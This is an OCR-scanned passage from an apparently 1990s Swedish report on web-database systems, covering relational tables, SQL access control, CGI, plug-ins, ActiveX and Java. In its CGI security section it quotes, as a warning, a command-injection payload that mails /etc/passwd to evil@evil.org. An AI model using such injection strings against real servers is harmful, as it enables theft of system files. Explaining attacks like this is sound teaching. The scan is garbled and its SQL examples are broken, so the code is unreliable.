Uppgifter som ofta dndras eller anvinds pa flera stéllen sasom t.ex. adresser
och telefonlistor ldgger man bést 1 en databas. Med hjélp av cgi-script eller
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java applets (fristaende objekt skrivna i spriket Java) kan dessa uppgifter
sedan presenteras for anvédndarna eller uppdateras via WW W-grénssnittet.

93 RELATIONSMODELLEN

Det vanligaste databashanteringsystemen ar idag s.k. relationsdatabaser.
Principen for dessa ir att det inte skall finnas nagra redundanta uppgifter
lagrade.

9.3.1 Relationer

Iden bakom relationsdatabaser &r att all information t.ex. lagras pa ett och
endast ett stélle. Detta I0ser man genom att skapa tabeller (relations pé
engelska) 1 databasen som har samband, relationer till varandra. Det finns tre
olika sorters relationer.

1. En till En relationer
2. En till ménga relationer
3. Manga till manga relationer

En till En relationen dr ovanlig och innebir att en post i en tabell hor samman
med en post 1 en annan tabell. Detta innebir att den andra tabellen fungerar
som en forldngning av den forsta, varfor man lika gérna kan sla ihop dem till
en tabell. Det framsta anviandningsomradet for En-till-En relationer &r om man
av sikerhetsskél vill begrinsa lis eller skrivbarheten av vissa filt 1 en tabell.
Man delar da upp tabellen i tvd och skapar en En-till-En relation dér
sekretessnivan dr satt pa olika sitt for de tva tabellerna.

En-till-Ménga relationen dr vanligast.
Exempel. En person kan ha ménga telefonnummer (t.ex. mobil, fax, modem,
hem, arbete) men ridkningen betalas bara av en person.

Maénga-till-Ménga modelleras i relationsdatabasen som tva En-till-Ménga,
Ménga-till-En relationer.

9.3.2 Fragesprak mot relationsdatabaser

Exempel pa relationsdatabaser ér Microsofts SQL-server och Oracle 7.x. De

flesta relationsdatabaser arbetar med ett fragesprak som heter SQL (Standard
Query Language). Det finns ISO standarder som specificerar hur detta sprak

skall se ut. Detta underlédttar om man skulle behdva byta ut sin databasmotor
mot en annan om t.ex. behoven skulle férdndras (6ka).
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Tyviérr dr inte alla funktioner fullstindigt specificerat av standarden. T .ex.

varierar fran tillverkare till tillverkare felhanteringskoder och metoder for att
ansluta till databasen.

Exempel pa SQL sats:

CREATE TABLE person(
personnr CHAR(11l) PRIMARY KEY,
fnamn CHAR(22),
enamn CHAR(30)

)

CREATE TABLE telefon
personr CHAR(11l) FOREIGN KEY
telefonnr CHAR(20) PRIMARY KEY
telfontyp CHAR(10),
kommentar VARCHAR(255)

)

Liagg till ett mobiltelefonnr till alla som heter Kalle Klehnfeldt

INSERT telfonnr, telefontyp INTO telefon
WHERE personnr=(SELECT personnr
WHERE fnamn = 'Kalle’ AND
enamn='Klehnfeldth’)
VALUES('070-8481004, ’'mobil’)

For att hitta personer som har Kalles mobilnummer gor vi sokningen:

SELECT telefonnr FROM telefon

WHERE telefontyp='mobil’ AND
personnr=(SELECT personnr FROM person
WHERE fnamn='Kalle’)
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person telefon
*personr personr
fnamn *telefonnr
enamn telefontyp
kommentar

\/

telefonnr

Ny tabell med Kalles
telefonnummer

Figur 23  Exempel pa sokning i relationsdatabas med SQL sats. (Exemplet
forklarat i texten).

94 SAKERHET I DATABASER

I ett operativsystem &dr den minsta skyddsvérda enheten 1 bésta fall filer. I en
databas dr granulariteten mycket finare t ex relationer (tabeller), poster (rader)
och filt i poster. Detta innebdr att vi maste ha mera forfinade hjalpmedel for
att dela data i en databas &n vad som fordras pa operativsystemniva.

94.1 Behorighetskontroll via databasstruktur

Man kan 1 de flesta databaser definiera anvédndare och vad dessa anvéndare
skall fa se, dndra, ldgga till eller ta bort. Detta kan ske genom att man
strukturerar sin databas sé att man skiljer ut de kinsliga delarna och ldagger
dem i separata tabeller som bara vissa anvindare kommer at. Man forlitar sig
da pa databasens sikerhetssystem.

Exempel hur detta kan se ut 1 SQL:

GRANT ALL RIGHTS ON TABLE user TO useradmin WITH GRANT
OPTION

innebdr att anvindare useradmin far gora allt med tabellen 'user'. Han far dven
ge andra behorigheter att gora detta. Han kan dra tillbaka alla réttigheter han
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delat ut med kommandot REVOKE. Han har da bara mgjlighet att ta bort de
réttigheter han sjalv givit.

REVOKE ALL RIGHTS ON TABLE user FROM useradmin

I ORACLE och ménga andra databaser dr det mojligt att skapa vyer i vilka en
anvéndare via SELECT-satser kan gora sammanstillningar fran en viss
sokning, se figur 23. Dessa vyer (egentligen nyskapade relationer/tabeller) dgs
av anvindaren som i sin tur, om systemadministratoren tillatit det, kan ge
andra anvindare behorighet att se vyn. For att kunna ge ut behorigheter maste
dock édgaren till vyn ha ritt att ge ut behorigheter for alla tabeller som refereras
ivyn.

Vyer kan anvindas for att skapa databeroende behorighetskontroll. I
kombination med triggers kan vyer dven anvindas for historieberoende
behorighetskontroll.

Anvindare Anvéndare
med med
hog behorighet lag behorighet
| Klient | | Klient

Saker

DBMS
v
Data

Figur 24 Databas dar atkomsten till data &r avhangig av hur sakert
operativsystemet &r. All behoérighetskontroll av anvéandare sker via
databasmotorn.

Klienterna i den ovanstdende modellen behover inte nodvéndigtvis vara
ménniskor utan kan vara andra program och system t ex ORACLE web agents
(OWA) som utifran databasen genererar WWW sidor (HTML-dokument) som
sands ut till ménskliga ldsare via HTTP protokollet (Hypertext Transfer
Protocol). Vill man ytterligare hoja sdkerheten later man det ske via en sd
kallad proxy HTTP server pa andra sidan en brandvigg.



SVENSK BYGGFORSKNING PA INTERNET, SWEBU

94.2 Atkomst kontrollerad av operativsystemet

I andra databaser t ex mSQL anvénder man operativsystemet for
behorighetskontroll (se figur 25). Ett sékert system skulle da kunna skapas
enligt nedanstaende modell. Sékerheten blir hir naturligtvis helt avhéngig
operativsystemets sdkerhet. Genom att ge de olika DBMSerna (Database
Management System) olika behorighet (via operativsystemet) kan man styra
behorigheterna for de bada anvéndargrupperna.

Anvindare Anvéndare
med med
hog behorighet lag behorighet
DBMS DBMS

Sakert
(ON)
A 4

Data

Figur 25 Modell fér databas dar sékerheten i systemet avgérs av det
operativsystem som databasmotorn kér under.

943 Replikering av databas

En annan mojlighet (se figur 26) ér att anvédnda replikering och skapa en
databas som innehaller savil skyddade som mera publika data som
administratorer och andra anvidndare med hog behorighet har tillgang till och
en replik dér bara de okénsliga delarna av databasen replikerats. Nackdelen
med detta dr att replikeringen av databasen sker vid vissa diskreta tillfillen
och anvindarna med lag behorighet inte alltid far tillgang till farska uppgifter.
Detta gor det 4ven omdjligt for anvindarna av den publika repliken av
databasen att foréndra eller lidgga till poster 1 det skyddade originalet eftersom
en replikering fran den publika till originalet skulle bryta sidkerheten.
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Anvéndare Anvéndare
med lag
hog behorighet behdrighet
Y
DBMS
DBMS 4l
till .
blik datab.
fullstdndig databas pubTiic catamas
Brandvigg

Fullstdndig
databas

Replikerad
databas

hemliga & publika
data

endast publika
data

Figur 26  Tva replikerade databaser, endast viss information replikeras sa att man i
den replikerade databasen innehaller den delmangd av den totala
informationsmangden som sékert kan ldmnas ut . Sakerheten
upprétthalles med hjalp av en brandvéagg.

9.5 INTERAKTIVITET OCH DYNAMIK I DATABASSYSTEMEN

Det dr ofta omojligt eller atminstone opraktiskt att underhdlla WWW sidor
med stora dataméngder som ofta 4ndras. Genom att skapa sidor som skapas ur
en data eller regelbas 1 samma 0gonblick de begirs av ldsaren kan man
undvika mycket dubbelarbete (forutsatt att man 1 vilket fall som helst var 1
behov av databasen).

Man kan dven ténka sig att uppdatera databasen fran formuldr pA WWW sidan
och dérigenom gora det mojligt att t.ex. lata personer inlagda i en databas
uppdatera sina egna adresser. Datainmatningen kommer hérvid att ske
narmare killan och informationen blir mera palitlig. (Naturligtvis maste man
se till att obehdriga ej kan modifiera data).

Genom att anvénda interaktivitet i sidor blir det &ven mdjligt att skraddarsy
vilken information som presenteras och hur den ska presenteras beroende pa
vem ldsaren dr. Det dr t.ex. mojligt att avgora fran vilket land ett anrop sker
och automatiskt ge tillbaka en sida med ritt spréak.
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Interaktivitet i sidorna fordrar nagon form av programmering. Denna kan ske
antingen pa servern t ex m h a cgi-script, server egna APler (Application
Program Interface), Java Servlets eller 1 klienten med Java Applets, JavaScript
eller Plug-in moduler.

9.5.1 CGI, common gateway interface

CGI, Common Gateway Interface, dr
- En specifikation
- Den idag vanligaste formen av Klient/Server tillimpning inom WWW
- En standard for att sinda data fran en WWW-klient till en WWW
server
- En standard for att sinda data tillbaka till WWW-klienterna frain WWW
servern

CGI utgor gréinssnittet mellan klient och server i WWW-baserade klient/server
tillampningar. De program som kor pa WWW-servern bendmns cgi-script
eller cgi-program. De &r vanligen skrivna i spraken Perl , C eller direkt med
UNIX skalkommandon. Fordelen med att anvénda Perl dr att detta sprak har
mycket kraftfulla metoder att manipulera texter och att Perl finns for de flesta
mjuk- och hardvaruplattformar.

Till skillnad fran script, som tolkas kommando fér kommando i UNIX
skalmiljo, ldses Perlkoden in 1 sin helhet och Oversitts till maskinkod innan
den borjar exekveras. Detta gor Perl mera lampligt an UNIX-shell-script om
man vill gora berdkningsintensiva program eller om man vill anvénda scriptet
pé olika hardvaruplattformar.

Vill man ha &nnu snabbare exekvering viljer man med fordel ett kompilerande
sprak som t ex C eller C++. En annan fordel med kompilerande sprak ér att
programmens struktur inte dr enkelt ldsbar for det ménskliga 6gat och att man
ddrigenom minskar risken for plagiat och stold av idéer. Detta dr virdefullt om
man skyddat vill sprida sin mjukvara i vidare kretsar.

Man bor se upp med de sikerhetsrisker som kan uppsta om oerfarna
programmerare skapar cgi-program, speciellt om nagot interpreterande
(tolkande i motsats till kompilerande) eller semi-interpreterande sprak (t.ex.
Basic, Perl eller ett UNIX-skal) anvéndes. For att kunna hélla uppsikt 6ver
vilka cgi-program/script som finns pA WWW servern, och att de har lampliga
behorigheter, ldgger man ofta dessa 1 ett speciellt bibliotek vanligen bendmnt
cgi-bin eller htbin. Faran med cgi-scripten/programmen ér att de om de inte
konstrueras pa rtt sétt kan ge tillgang till kommandoraden pa operativsystem
som &r begavade med en sadan.
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Cgi-programmering pa Macintosh utgor sialedes mycket mindre fara &n om
den utfors pa kommandobaserade system. Tyvérr dr de metoder (Apple
Events) som anvénds pa Appledatorer for kommunikation mellan WWW-
server och cgi-program ldngsam och svarprogrammerad varfor man bara kan
rekommendera MacOS-baserade WWW-servers till WWW-system dér cgi-
script anvinds i begrdnsad omfattning. Ur utvecklarsynpunkt dr det pa
Macintosh oftast enklare att skriva klient-serverbaserade 16sningar i Java dn
att gora cgi-script (manus) 1 t.ex. AppleScript.

Flest och bist verktyg for cgi-programmering finns 1 UNIX-miljon. Ofta kan
man skapa sina cgi-script direkt 1 skalprogrammet genom att anropa UNIX’
standardfunktioner sdsom t ex stream editorn sed, rapportgeneratorn awk,
sOkfunktionerna find, grep och egrep. Har man behov av att gbra 4n mer
avancerad programmering, eller skapa plattformsoberoende 16sningar kan man
anvénda Perl. Plattformsoberoendet hos Perl dr dock begrinsat, t ex. méste
man ta hénsyn till olika strukturer 1 filhierarkiernas upplidggning om man vill
kunna flytta mellan, lat oss sdga UNIX och Windows NT miljoer.

Dessutom maste man beakta eventuella sidkerhetsluckor i de system som man
avser att den féirdiga cgi-produkten ska anvindas i. Som nédmnts ovan dr den
vanligaste sikerhetsluckan att man ger anvindaren tillgang till
kommandoraden.

Har foljer nagra skriackexempel:

1 Perltolken eller nagon annan tolk dr placerad i biblioteket cgi-bin med
péfoljd att man som anvindare utifran kan exekvera godtyckliga
program med samma behorighet som WWW servern. Denna
sdkerhetsldcka dr klart vanligare dn vad den borde vara och kan utifran
detekteras med enkla medel. An allvarligare ir det att ett av de mest
annonserade programmen (MS Frontpage), for editering av WWW
sidor med tillhdrande cgi-program for direkt nedladdning till en WWW
server, vid installation ldgger Perltolken hér pa vissa system. En del
sdkerhetshal i Windows NT gor att man bor placera alla filer som skall
nds frain WWW servern pa en egen harddisk partition for att minska
skadeverkningarna om nagon skulle bryta sig in.

2. <IMG src="“http://www .cucusnest.com/cgi-bin/sloppyprogram?A;mail
evil@evil.org</etc/passwd “>. En begiran av ovanstaende bild fran en
WWW-klient (IMG-kommandot) kommer att innebédra att WWW-
serverns 10senordsfil mailas (postas) till evil@evil.org om cgi-
programmet “sloppyprogram® tolkar inparametrarna i ett UNIX-skal
(eftersom semikolonet 1 skalet markerar skiljetecken mellan
kommandon). Nir det forsta parametern A exekverats och genererat en
bild att skicka tillbaka till webldsaren, kommer kommandot mail
evil@evil.org </etc/passwd att skicka serverns 16senordsfil till
evil@evil.org. For att forhindra detta maste programmet sloppyprogram
filtrera bort semikolonet samt kontrollera vilka inparametrar som givits
innan det later skalet tolka input. Detta exempel visar vikten av att
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sdkerhetsgranska alla cgi-script innan man de ldggs ut pa servern. Cgi-
scripten bor vara utformade sa att enbart alla tdnkbara indatasekvenser
fangas av scriptet, inte bara de som behovs for att fa onskad
funktionalitet hos scriptet

3. Manga WWW-servers t.ex. Netscape anvinder WW W-grinssnitt for
sin administration. Administrationen sker da i de flesta fall genom en
speciell administrations-WW W-server som lyssnar pd nagon annan port
an standardporten (80) pa servermaskinen. Administrationsservern kor
vanligen som root (root dr systemadministratdrens anvindarnamn pa
UNIX-system). I manga fall tillater standardinstillningarna att man kan
administrera servern fran vilken maskin som helst i nitet. Detta bor
man under alla omsténdigheter konfigurera om sd att detta endast kan
goras fran sidkra maskiner. Detta for att minsta sékerhetslucka som
ndgon uppticker i administrationsmjukvaran litt kan leda till att en
inkréktare kan bli systemadministrator.

9.5.2 Plug-in moduler

For att ge Weblédsaren Netscape ny funktionalitet t.ex. mojlighet att kora
program skrivna i TCL/Tk (Ousterhout J, 1994) eller MacroMind Director (ett
vanligt program for Multimediapresentationer) inuti webldsaren kan man
skriva tilliggsmoduler som Netscape kan anvinda. Da dessa moduler maste
installeras separat pd varje klientmaskin ger de ldtt upphov till en
support/underhallsfilla. Modulerna &r plattformsberoende vilket gor att man
begrénsar sin publik om modulen inte &r tillgéinglig for samtliga
forekommande plattformar. Den ir troligen dock inte detta p.g.a. de enorma
utvecklingskostnaderna for att utveckla och avlusa plug-inmodulen i olika
miljoer.

Ibland ricker det med att utveckla en plug-in for varje
OS/hardvarukombination. Om modulen skall anvindas virlden over i olika
sprakomraden kan man behova oversitta den till flera sprak t.ex. for att ett
datumformat varierar eller for att anvindaren ska kunna fa ritt text i sina
menyer.

Det finns inte ndgon specificerad sikerhetsmodell for vad som ér tilldtet for
plug-in-moduler att gora. Det skulle vara fullt mojligt att skriva illasinnade
moduler som ldser innehéllet pa den lokala disken och skickar ivig det 6ver
nétet till ndgon obehorig ldsare som t.ex. en av ditt foretags virsta
konkurrenter. Av dessa anledningar dr det bist att limna plug-in modulerna at
sitt 6de och i stillet satsa pa Java-baserade 16sningar &tminstone om man
anvinder externt utvecklade moduler .

Naturligtvis kan plug-in moduler som utvecklas internt inom foretaget eller
dédr man pa annat sétt har kontroll 6ver killkoden anvidndas. Om modulerna
anvinds internt pa det egna intranétet (Intranet) kan de naturligtvis vara
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anvindbara eftersom man dir formodligen har ett begrinsat antal plattformar
att utveckla for.

95.3 Active X

Active X dr foretaget Microsofts egna sétt att ladda in aktivt innehall i
websidor. Sikerheten for Active X komponenter lamnar dock en del 6vrigt att
onska. Sékerhetsmodellen baserar sig pa att tillverkaren av Active X
komponenten, om den ej anses farlig, av Microsoft ges en digital signatur.
Komponenter signerade med denna signatur kan inte fordndras under
transporten utan att det uppenbaras. Vil nedladdad kan de dock till skillnad
fran Java Applets (objects skrivna i spraket Java) husera fritt i méaldatorn. Den
springande punkten blir sdlunda; vad dr en ofarlig komponent? Enligt
decembernumret 1996 av JavaWorld holls en presentation 1 New York dédr en
komponent forevisades som kopierade innehallet pa en dators hardisk till en
WWW server. Detta trots att den hade certifierats av Microsoft Inc..

954. Java

Java dr egentligen ett koncept bestdende av tre ting.

1. en virtuell dator (JVM, Java Virtual Machine) som fram till helt nyligen
bara existerat som mjukvara som korts pa andra plattformar men som
nu dven kan fas i kisel (hardvara).

2. ett programmeringssprak,

1 grunden ett eget operativsystem JavaOS som kommer att anvédndas 1

framtidens Network Computers NC

98]

1.JAVA VIRTUAL MACHINE, JVM

I de flesta fall &r det dock troligt att det vanligaste kommer att bli att man
exekverar Javakod i just en virtuell maskin pa andra system under den
ndrmaste framtiden. Kiselbaserade Java processorer kommer framst att sitta 1
klientmaskinerna i NC system (Network Computer, en liten dator utan
héarddisk som forstar Java, att koppla in direkt pa nétet). Under 6vergangsfasen
mellan PC och NC systemen kommer vi att kora vara Java-applikationer i Java
runtime miljoer som utvecklats till s gott som samtliga pa marknaden
forekommande operativsystem, savil for stordatorer som vanliga bordsdatorer.
Pa sikt kan vi rikna med att Java kommer att bli helt integrerat i
operativsystemen. Redan idag har detta skett 1 Linux, ett freeware UNIX
operativsystem skrivet av Linus Thorwaldssen.

Det faktum att Java program exekveras pa en virtuell maskin har bade for och
nackdelar. Fordelen dr att man kan skriva plattformsoberoende kod, vilket
minskar utvecklingskostnaderna och ger en storre frihet vid byte av
systemkomponenter. Plattformsoberoendet medfor dven att
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systemadministrationen blir enklare. Man behover inte halla reda pa olika
versioner av samma program och det blir enklare att skapa automatiska
uppdateringsprocesser som arbetar Gver ett nitverk. Exempel pa sadana
system dr Castanet fran Marimba software (http:/www.marimba.com), vilket
for narvarande fungerar for Windows NT och UNIX.

I och med att Java ér en virtuell maskin &dr det mojligt att skriva kompilatorer
som konverterar édldre kod skriven i andra programmeringssprak till Java byte-
kod som kan exekveras overallt med atfoljande lagre utvecklingskostnad per
sald licens. Ett Java program oversittes (kompileras) alltid till sé kallad byte
kod (8 bits tecken) och inte maskinkod fore den sidndes till den virtuella
maskinen. Den virtuella maskinen kan dven utgdra ett skydd mot oonskade
operationer. Det r till exempel mdjligt att 1dgga in funktioner som begrénsar
rdttigheterna for program som laddats ned fran nagon opadlitlig kélla pa nitet
sa att de inte kan gora obehagliga ting sasom att t.ex. olovandes radera
hardiskar eller dndra i viktiga data.

Exempel pa detta dr Netscape Navigator som forhindrar Applets att skriva och
lasa pa lokal disk pa klienten och fran att kontakta andra servers pa nétet dn
fran vilken appleten ursprungligen hamtades.

Nackdelen med JVM ér att det tar tid att Oversitta byte koden for java
processorn till kod som den verkliga processorn kan exekvera. For att rada bot
pé detta har man borjat anvinda sa kallad Just In Time, JIT, kompilering som
innebir att koden Overfors till lokalt exekverbar kod 1 samma 6gonblick den
laddas ned. Med JIT blir exekveringstiderna obetydligt langre &n om det hade
varit ett vanligt program skrivet i 14t oss séga spraket C++. Problemet kommer
dock att vara helt obefintligt pd maskiner som har Kiselbaserade
javaprocessor.

2. PROGRAMMERINGSSPRAKET JAVA

Spraket padminner syntaxméssigt om C++ men har en mycket starkare
objektorientering. For att gora det enklare har man tagit bort en del fallgropar
som multipla arv, pekare och operator overloading. I gengéld har man lagt till
automatisk garbage collection vilket gor att programmeraren inte behover
hélla reda pa vilka resurser i form av minne som anvinds och att avallokera
dem nir de inte ldngre behovs. Har sker detta automatiskt vilket minskar
risken for minneslédckor eller for att resurser limnas tillbaks till systemet 1
fortid.

Som kompensation for avsaknaden av multipla arv har man infort en mojlighet
att subtypa klasser utan att subklassa dem. Metoden att gora detta bendimns
java interface och innebér i praktiken att man drver signaturer pa konstruktorer
samt abstrakta metoder och data. Detta innebir att koden méste implementeras
separat 1 respektive klass som utger sig fOr att anvénda ett visst interface. En
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konstruktor dr den metod som initialiserar ett objekt av en klass. (Gosling &
Arnold, 1996).

Exempel:
Lat oss gora en multitradad applet. (Multithreading, tradning, star for att
flera processer kan koras parallellt inom en applikation). For att gora detta
kan man ju tycka att man skulle behdva multipla arv eftersom klassen
Applet hanterar det som Applets normalt gor, som t.ex. att rita pa
skdrmen, och klassen Thread hanterar tradar. Salunda skulle vi vilja drva
fran bade Applet och Thread. Detta gar nu inte. Det finns ddremot ett
interface Runnable vilket drver fran Thread som vi skulle kunna anvinda.

I Runnable finns det en abstract metod run definierad. Metoden run maéste
salunda implementeras i var applet for att vi ska kunna sédga att den &r
Runnable.

import java.applet.*;
import java.awt.*;

MyApplet extends Applet implements Runnable({
private Thread traden;
/** overide metoden init i Applet £fOr att
initiera data */

public void init(){
resize(400,500);
trdden= new Thread(this);

}

public void start()({
if (trdden != null)
traden.start();

}

public void stop(){
if (tradden != null)
trdden.stop();
trdden=null;

public void paint(Graphics g){
// rita ndgot applet area n...
// Denna metod ersdtter den helt
// overksamma dito
// som ar definierad i Applet
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public void run(){
if (traden !=null)
//Ge andra trddar med samma
//prioritet en chans att kora
//under 100 millisekunder
trdden.sleep(100);

Avsaknaden av pekare i Java kan for C++ programmeraren till en borjan
kdnnas som ett handikapp men med container-klasser som t.ex. Vektor kan det
mesta utforas smidigt 4nda. Vinsten att inte ha pekare mirks pa tva sitt. Dels
ar det betydligt mindre risk att gora fel och fa minnesreferenser ut i det bla, fel
som &dr mycket svarupptéckta och sikerligen star for 90% av felsokningen i ett
C++ projekt. Dels dr det inte mojligt att skriva kod som skriver pa godtyckliga
stédllen 1 minnet, med de sdkerhetsproblem det kan leda till. Naturligtvis
anvinder Java sig av pekare internt t.ex. fOr att 6verfora parametervirden till
funktioner men de &r ej atkomliga for programmeraren.

9.6 JAVA APPLETS

En JavaApplet ér ett fristaende object skrivet i Java som laddas ner till WWW-
klienten frain WWW-servern. Appleten exekveras inuti WWW-klienten i en

skyddad miljo dir den inte kan stilla till skada genom att t.ex. skriva eller ldsa pa
lokala filer 1 WWW-klienten. En servlet dr som en applet men laddas 1 servern

istédllet. Denna teknik kan anvéndas for att ge effektivare resursutnyttjande,

forenklat underhall och 6kad skalbarhet i klient-serversystemen. Se d@ven "The Java
Servlet API",

http://jeeves.javasoft.com/products/java-server/webserver/betal .0/doc/servlets/api.html

9.7 ATT ANSLUTA TILL DATABASER

Utvecklingen har sedan borjan av 80 talet gjort det mojligt att bygga allt mera
distribuerade databastillimpningar. Allt i fran att klienter ansluter direkt till
databasen eller att klienterna ansluter via en server till en eller flera databaser.
Man brukar benédmna detta tvalagers- respektive trelagers-modellen.
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Figur 27  Klient-server modellens utvecklingsfaser.

9.71 Tvalagermodellen (Two Tier Model)

V1 har hir en databasklient och en server dédr databasmotorn ligger. Klienten
kommunicerar direkt med databasmotorn.

Fordelen dr att systemet blir relativt enkelt och 6verskadligt. Nackdelen ir att
om databasmotorn bytes maste man dven uppdatera klientmjukvaran pa
samtliga maskiner. Dels beroende pa att de flesta databastillverkare har
utvidgat SQL pa olika sitt, dels pa grund av att de APler (Applikation
Program Interface) som anvinds for kommunikation varierar fran tillverkare
till tillverkare.

Om klientmjukvaran &r Java Applets &r detta 1 och for sig inget administrativt
problem eftersom Appleten automatiskt himtas 6ver nétet da den behovs.
Dock maste Appleten skrivas om sa att den blir anpassad till den nya
databasen. Det dr dock svart att pa ett enkelt sétt utnyttja flera olika
databasmotorer till en och samma klient. For att Java Applets ska fungera med
JDBC (kan utldsas som Java Database Connectivity men &r egentligen ett
varumarke) maste:

- WWW servern varifran Appleten himtas och databasservern kora pa
samma maskin eftersom de flesta WWW klienter ej tillater Applets att
oppna nétverksforbindelser till andra maskiner én varifran de kom.
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- WWW klienten maste ha tillgang till JDBC klasser. Detta &r standard i
de WWW klienter som baserar sig pa JDK 1.1s (Java Developer Kit
fran Sun Microsystems) klassbibliotek t.ex. Hotjava 1.0 och Netscape
4.0.1 annat fall maste JDBC paketet lagras separat pa klientmaskinen
eftersom JDBCs DriverManager ligger 1 packagen java.*. Klasser som
ligger i denna tillats ej att laddas ned fran nitet.

9.7.2 Trelagermodellen (Three Tier Model)

Hir dr det mojligt att enkelt ansluta flera databaser. Man skapar hér ett
granssnitt genom vilket en klient (t.ex. en Applet) kan kommunicera
oberoende av hur databasen i andra 4nden vill kommunicera. Mittlagret utfor
alltsa en oversittarfunktion fran klientens frage/anrops sprék till databasens
dito. Detta mittlager kors lampligen pa samma maskin som WWW-servern.
Mittlagret kommunicerar i sin tur med databaser som kan kora var som helst i
nétet.

I mittlagret dr det d&ven majligt att utifran en klientfraga gora sokningar i flera
databaser och dérefter presentera det for klienten som om det vore resultatet
fran en enskild sokning i en databas. Mittlagret doljer satillvida systemets
komplexitet for anvindaren. Det kan dven vara fordelaktigt ur
sakerhetssynpunkt till exempel dé det giller atkomster till databaser bakom
brandviggar. Om mittlagret kors pa en betrodd maskin kan det vara littare for
en systemadministrator att bevilja databasanrop fran denna enda betrodda
maskin &n fran samtliga klienter.

9.8 METODER ATT SKAPA WWW-BASERADE DATABASGRANSSNITT

9.8.1 Databsgrinssnitt med CGI program

For inte sd ldnge sedan var detta den dnda sittet att komma at en databas fran
WWW som vanligt i cgi-program anvénds vanligen det semi-interpreterande
programmeringsspraket Perl. I den senaste objektorienterade versionen av
Perl, Perl 5 finns det en speciell klass som utvecklats for att hantera
relationsdatabaser som stodjer SQL.

Naturligtvis kan man dven anvéinda kompilerad kod. Till de flesta databaser
finns det bibliotek med objektkod som man kan ldnka ihop med sin egen
kompilerade kod i t.ex. C. Cgi-program skrivna pa detta sitt exekverar
snabbare &n ett dito i Perl men dr svérare att skriva. Ibland kan man dock kopa
ett sddant cgi-program fixt och fardigt att installera pA WWW-servern.

61
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ORACLE OWA

Ett exempel pd ett sddant finns hos ORACLE som anvinder ett cgi-program
for att kommunicera med 1 databasen lagrade procedurer skrivna i PL/SQL, ett
programmeringssprak som starkt paminner om Pascal. Spraket &r starkt typat
(med typdeklarerade variabler) och ORACLE kan cacha (lokalt lagra)
resultaten fran funktionsanrop i PL/SQL ( Oracle, 1995) (Oracles eget sprék,
Programming Language, PL, fOr att skriva program som genererar SQL-
sekvenser) sd att svarstiderna bara blir langa for den forsta gangen funktionen
anropas.

PL/SQL é&r dock inte sa stabilt som man skulle kunna onska. Det dr mojligt att
skriva PL/SQL-program som fullstédndigt hdnger databasservern om
kommandona uttrycks pa oldmpligt sitt. Procedurerna i databasen skapar med
hjilp av ett rikligt antal hjélprutiner, dven de skrivna i PL/SQL WWW-sidor
som sénds tillbaka till WWW-ldsaren via cgi-programmet.

Fordelen med denna 16sning r att storre delen av koden och
anvindargrinssnittet som moter anvindaren ligger lagrat 1 ORACLE
databasen och ett byte av server plattform spelar mindre roll sa linge den nya
plattformen kan kéra ORACLE. Det dnda som behover bytas dr cgi-
programmet och naturligtvis WWW och databasmotor mjukvaran. Men de
delarna kops i vilket fall som helst frén externa tillverkare. I det hér fallet kan
man kopa savil webserver, cgi-program och databasmotor som ett paket fran
ORACLE.

Webservern i det hir paketet dr dock inte den bésta som sett dagens ljus, om
man vill distribuera vanliga icke dynamiska HTML-sidor. Skapar man ett nytt
bibliotek pa sin WWW-servers dokumentarea maste man starta om WWW-
servern for att de skall hittas. Som vil dr anvénder Oracle cgi-standarden for
att kommunicera med databasen, detta gor att man utan svarighet kan byta ut
WWW-serverdelen mot t.ex. Netscape Enterprise eller Fasttrack server. Bade
Netscape och ORACLE anvinder WWW {0r att administrera sina webservers.
Principen ér den att man startar ytterligare en WWW-server pa
servermaskinen fast man anvénder en annan port 4n standard port 80 t.ex.
8888.

Nér man ansluter till denna port blir man avkrivd en administratdrslosen och
ndr det vil dr givet styr man hela servern med hjidlp av WWW formulir.
Anvéndargrénssnittet for Netscapes servers ar klart béttre strukturerat pa
Netscapes servers dn pa ORACLE servern med bl. a tillgang till
sammanhangskénslig hjdlp som dyker upp 1 ett separat fonster nidr man trycker
pé hjédlpknappen i ndgot formulir. Netscapes server har dven stod for SSL
(Secure Socket Layer for krypterad kommunikation mellan server och WWW
klient) vilket ORACLE saknar.
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CoLD FUSION

Ett annat fardigt cgi-system &dr Cold Fusion fran Allaire

(http://www .allaire.com/). Till skillnad frin ORACLE-systemet dér de aktiva
delarna lag lagrade i databasen i form av lagrade procedurer skrivna i PL/SQL,
anvinds har vanliga filer med ett HTML-liknande sprak i vilket
databasfragorna formuleras. I DBML-filerna inkluderas dven vanliga HTML-
element. Dessa tolkas ej av Cold Fusion utan gar direkt ut till WWW-klienten.
Detta innebir att systemet blir framtidssédkert genom att nya HTML-element
kan inforas och anvéndas utan att databasatkomsten paverkas.

Funktion:

1. Anvéndaren begér information via sin WWW-klient genom att specificera
en URL som till cgi-scriptet DBML.EXE med en DBML-fil som
parameter.

2. Han far da typiskt upp en WWW-sida med ett formulér dir han kan
formulera sin sokfraga. Han fyller i fragan och sidnder den till WWW-
servern.

3. WWW servern startar cgi-scriptet som behandlar den angivna DBML
mallen. Behandlingen bestar i att via ODBC kontakta databasen och stélla
de givna SQL frdgorna och utifran dessa generera en dynamisk WWW
sida. Naturligtvis kan man hér dven precis som 1 OWA (Oracle Web
Agent) anropa lagrade procedurer 1 databasen.

4. Den genererade sidan sénds tillbaka till fragestdllaren av WWW servern.

Systemet fungerar for ndrvarande med Windows NT-baserade WW W-servers
och ODBC-baserade databaser. I brist pa tillgdng till har jag ej praktiskt
kunnat testa systemet, men att doma av tillverkarens produktbeskrivning bor
det vara enkelt att anvénda da det inte alls fordrar sa ingaende
programmeringskunskaper som t.ex. OWA dir all anviindardefinierad
funktionalitet ligger 1 databasen som lagrade procedurer.

9.8.2 Dynamisk léinkning

Moderna HTTP-servers kan idag expanderas med extern kod som lénkas in till
sjdlva servermjukvaran med dynamisk lankning. Exempel pa denna teknik ar
Netscape NSAPI (Netscape Server Application Programming Interface) och
Microsoft ISAPI (Internet Server Application Programming Interface).

Detta innebér att man sparar tid vid anrop 1 och med att man inte behover
starta en subprocess fOr cgi-programmet som i sin tur kontaktar databasen.
Ofta arbetar man da med en pool av i forvidg 6ppnade databasanslutningar for
att ytterligare 0ka snabbheten. Nackdelarna att det ofta fordrar betydande
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insatser av programmeraren som maste sitta sig in i savil den anvinda WWW
serverns som databasens API. Dessa API ser helt olika ut beroende pa vem
som tillverkat WWW servern eller databasen, varfor det gor det svart att
enkelt byta ut ndgon del i systemet om det skulle visa sig att den inte héller
mattet om t.ex. anvdandningen skulle bli storre dn forvintat.

En annan nackdel ir att eventuella programmeringsfel i databaskopplingen far
